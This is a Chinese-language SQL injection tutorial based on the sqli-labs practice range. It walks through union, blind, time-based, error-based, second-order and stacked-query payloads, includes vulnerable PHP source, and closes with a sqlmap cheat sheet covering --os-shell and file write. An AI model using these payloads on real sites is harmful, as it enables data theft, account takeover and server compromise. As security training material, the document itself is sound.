mysql注入目的:獲取當前web許可權
@@version_compile_os //檢視當前資料庫所在伺服器系統
使用者----Root/普通使用者(存在root許可權與否)
user() //檢視當前接入資料庫使用者
資料庫名--為後面猜解資料表、列名、資料做準備
database() //檢視當前接入資料庫名稱
資料庫版本--是否存在information_schema預設庫
version() //檢視當前接入資料庫版本
information_schema
儲存MYSQL服務中所有資料庫的資料庫名、表名、列名的資料庫
information_schema.schemata
記錄MYSQL服務中所有資料庫名的資料表
schema_name
information_schema.schemata中記錄資料庫名稱的列名
information_schema.tables
記錄MYSQL服務中所有資料表資訊的資料表
table_schema
information_schema.tables中記錄資料庫名稱的列名
table_name
information_schema,tables中記錄資料表名稱的列名
information_schema.columns
記錄MYSQL服務中所有列名資訊的資料表
column_name
information_schema.columns中記錄列名資訊的列名
手工注入:
使用order by(根據第幾個欄位排序)判斷欄位個數
以sqli-labs靶場舉例當order by 3時回顯正常,order by 4 資料庫報錯
使用select 1,2,3,4,5這樣的方法檢視資料回顯位置,通過注入語句可知,2、3的位置為資料回顯位置
通過user()、databases()函數檢視當前使用者和資料庫名稱
通過@@version_compile_os、version()檢視資料庫所在作業系統和資料庫版本資訊
union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security' --+查詢該資料庫中的表
union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+查詢表中列名
union select 1,username,password from users--+查詢資料
當Web站點伺服器使用Root許可權使用者統一管理MYSQL服務,伺服器中部署的其他站點也可以通過information_schema資料庫進行資料查詢
在使用sql語句注入時可以利用mysql資料庫中內建函數對伺服器中的檔案進行讀寫操作,從而達到獲取許可權的目標
load_file()
載入檔案內容
into outfile
將資料資訊匯入檔案
檔案讀寫操作受條件影響
id=-1' union select%201,load_file('c:/1.txt'),3--+讀取伺服器中C槽的1.txt檔案
id=-1' union select 1,2,';' into outfile 'c:/1.php' --+將查詢內容輸出到指定檔案
在進行檔案讀寫時,受限制因素太多,因此很難實現
在開發者進行編寫sql語句進行查詢時,由於傳參的資料型別或者slq語句寫法不同導致sql注入拼接失敗
select * from news where id=$id;
在沒有符號干擾的情況下可以直接進行注入
2. 字元型(單引號干擾)
select * from news where id='$id';
由於傳參值可能是字元型,因此傳參值要用引號括起來,在進行sql注入時要進行sql語句閉合
?id=1' union select 1,2,3,4,5,6 --+
?id=1' union select 1,2,3,4,5,6 and '1'='1
select * from news where id like '%$id%';
拼接語句可成為
?id=1%' union select 1,2,3,4,5,6 --+
?id=1%' union select 1,2,3,4,5,6 and '%1%'='%1
select * from news where id=('1');
select * from news where (id='1');
拼接語句為
?id=-1') union select 1,2,3,4,5,6--+
?id=-1') union select 1,2,3,4,5,6 and ('1')=('1
全域性變數方法:GET POST SERVER FILES HTTP頭等
User-Agent:
使得伺服器能夠識別客戶使用的作業系統,遊覽器版本等.(很多資料量大的網站中會記錄客戶使用的作業系統或瀏覽器版本等存入資料庫中)
Cookie:
網站為了辨別使用者身份、進行session跟蹤而儲存在使用者本地終端上的資料X-Forwarded-For:簡稱XFF頭,它代表使用者端,也就是HTTP的請求端真實的IP,(通常一些網站的防注入功能會記錄請求端真實IP地址並寫入資料庫or某檔案[通過修改XXF頭可以實現偽造IP]).
Rerferer:瀏覽器向 WEB 伺服器表明自己是從哪個頁面連結過來的.
Host:使用者端指定自己想存取的WEB伺服器的域名/IP 地址和埠號
如功能點:
PHP-MYSQL-資料請求格式
1、資料採用統一格式傳輸,後端進行格式解析帶入資料庫(json)
2、資料採用加密編碼傳輸,後端進行解密解碼帶入資料庫(base64)
盲注就是在程式設計過程中,由於一些原因,資料庫所查詢的資料不會進行回顯,這個時候我們就需要使用一些方法進行判斷。
?id=1' and length(database())=8--+
?id=1' and length(database())>8--+
?id=1' and left(database(),1)='s'--+
?id=1' and left(database(),2)='se'--+
?id=1' and substr(database(),1,1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
?id=1' and ascii(substr(database(),1,1))=115--+
?id=1' and ascii(substr(database(),1,1))>115--+
?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4
?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>4
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+
?id=1' and ascii(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=101--+
-count()猜解指定表中的欄位數量
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3--+
-length()查詢指定資料表中的指定欄位名稱的長度
?id=1'and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2--+
-left()猜解指定表中指定欄位的名稱
?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)='i'--+
-length()猜解資料長度
?id=1'and length((select username from users limit 0,1))=4--+
-ascii()&left()猜解資料
?id=1'and ascii(left((select username from users limit 0,1),1))='68'--+
?id=1'and updatexml(1,concat(0x7e,database(),0x7e),1)--+
?id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
?id=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
報錯注入有很多方法,但是由於資料庫版本問題等,上述兩個函數是最常用的,更多注入方法可以參考12種報錯注入+萬能語句
3. 延時注入
延時注入是通過sleep()函數和if()函數聯動,判斷輸入條件的true或flase使資料庫執行sleep()函數進行延時查詢,從而判斷輸入條件的true或flase。
例如:通過判斷if語句中第一個條件是否為true,true執行sleep(3),flase執行sleep(),通過判斷頁面載入是否有延時而瞭解語句執行的結果,通常執行語句與布林注入相結合。
?id=1' and if(1=1,sleep(3),sleep(0))--+
總結
使用場景:
二次注入的意思是指,當用戶輸入惡意sql語句,將惡意sql語句在進行輸入的時候由於過濾或者跳脫等各種原因,sql語句在存入資料庫的時候並不會觸發,當Web頁面為了實現某種功能再次呼叫該sql語句時,由於沒有再次過濾或者轉移,從而導致惡意sql語句被執行,實現二次注入。
以sqli-libs中Less24為例
注入過程大致為,在登陸介面建立使用者時候在使用者名稱選項中輸入不會觸發執行的惡意sql語句,這時伺服器通過跳脫將惡意sql語句存放入資料庫,在使用者建立成功後登入後進行密碼修改,在密碼修改時,伺服器會帶呼叫使用者名稱選項資料但不會進行跳脫從而實現sql注入的原理
建立使用者原始碼,其中這建立使用者的功能實現了將惡意sql語句注入資料庫,但不會觸發的條件
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
if (isset($_POST['submit']))
{
# Validating the user input........
//$username= $_POST['username'] ;
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row);
if (!$row[0]== 0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
echo "</br>";
echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";
//echo "<h1>User Created Successfully</h1>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>Redirecting you to login page in 5 sec................";
echo "<font size='2'>";
echo "</br>If it does not redirect, click the home button on top right</center>";
header('refresh:5, url=index.php');
}
else
{
?>
<script>alert('Please make sure that password field and retype password match correctly')</script>
<?php
header('refresh:1, url=new_user.php');
}
}
}
?>
關鍵程式碼
$username= mysql_escape_string($_POST['username']) ;
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
變數$username 為接受POST表單傳送過來的username並使用mysql_escape_string()函數進行過濾,該函數並不跳脫%和_,它和mysql_real_escape_string()函數差不多,但是在php5.5被廢棄,php7.0中被移除。具體講解參考mysql_real_escape_string和mysql_escape_string有什麼本質的區別,有什麼用處,為什麼被棄用?
其中在$sql中$username和$pass兩旁都使用了左斜槓將雙引號進行跳脫,目的是為了避免sql直譯器將雙引號當作sql語句的結束符
所以在此處可以通過$username插入惡意程式碼,由於轉移函數的原因惡意程式碼並不會執行或導致sql語句錯誤無法執行
修改密碼部分原始碼
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
?>
<?php
if(isset($_POST['submit1']))
{
session_destroy();
setcookie('Auth', 1 , time()-3600);
header ('Location: index.php');
}
?>
關鍵程式碼
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
$curr_pass接受修改密碼前的密碼用於校驗未修改時的密碼是否正確
$pass和$re_pass接受為新密碼和新密碼的確認
$sql為接受資料後修改密碼的語句,由該語句分析可知在進行密碼修改更新資料庫的時候需要呼叫$username去尋找被修改使用者的密碼,當資料庫呼叫$username時,我們在註冊使用者時所輸入的惡意sql語句就會執行
注入過程
首先構造payload,建立使用者名稱為admin'#,單引號目的修改密碼時候用於閉合修改密碼的sql語句,#號在註冊使用者過程中會因為過濾函數過濾掉,不影響註冊過程,在修改密碼過程中註釋掉驗證 當前密碼的語句,所以最終建立的使用者名稱為admin'#,密碼設定為123456
成功插入資料庫中
修改密碼
由於二次注入呼叫變數$username時將驗證當前密碼是否正確的部分給註釋掉了,所以在修改密碼時當前密碼可以隨便輸。
密碼修改成功
在進行修改密碼時候的sql語句實際上就變成了修改admin的密碼
$sql = "UPDATE users SET PASSWORD='test' where username='admin'#' and password='wqdscdf' ";
進入資料庫檢視admin使用者密碼是否被修改
堆疊注入就是通過結束符同時執行多條sql語句,
例如php中的mysqli_multi_query函數。與之相對應的mysqli_query()只能執行一條SQL,所以要想目標存在堆疊注入,在目標主機存在類似於mysqli_multi_query()這樣的函數,根據資料庫型別決定是否支援多條語句執行.
以sqli-lib Less-38為例
原始碼
<?php
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
/* close connection */
mysqli_close($con1);
}
else { echo "Please input the ID as parameter with numeric value";}
?>
關鍵程式碼
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))
該sql語句使用了mysqli_multi_query()函數去執行sql語句,支援多條sql語句一起執行,經過分析$sql語句,在注入過程中只需要使用單引號和分號將sql語句進行閉合,新增要執行的語句並在最後新增註釋符將原sql語句中的limit註釋即可
注入語句為
?id=1';insert into users(`id`,`username`,`password`) values(17,'hack','hack')--+
檢視注入結果
詳細文章參考sqlmap超詳細筆記+思維導圖
在對注入點進行sql注入時,首先需要判斷注入點的使用者許可權,以許可權高低來判斷我們的後續操作
--is-dba #是否是資料庫管理員
--privileges #檢視使用者許可權
--users #檢視所有使用者
--current-user #檢視當前使用者
--sql-shell #執行sql命令
--file-read #檔案讀取
--file-write "本地檔案" --file-dest "寫入地址" #檔案寫入
--os-cmd= #單次執行系統命令
--os-shell #互動式執行系統命令
--current-db #當前資料庫
--dbs #所有資料庫
--tables -D"庫名" #指定庫下所有表
--columns -T"表名" -D"庫名" #指定庫下指定表中所有欄位名
-C "欄位名" -T"表名" -D"庫名" --dump #報出指定欄位中的資料
-r "封包檔案地址" #封包注入
--tamper"模組名稱" #使用tamper模組注入
-v"1-6" #顯示詳細等級
--user-agent "" #自定義user-agent
--random-agent #隨機user-agent
--time-sec=(2,5) #延遲響應,預設為5
--level=(1-5) #要執行的測試水平等級,預設為1
--risk=(0-3) #測試執行的風險等級,預設為1
--proxy #使用代理注入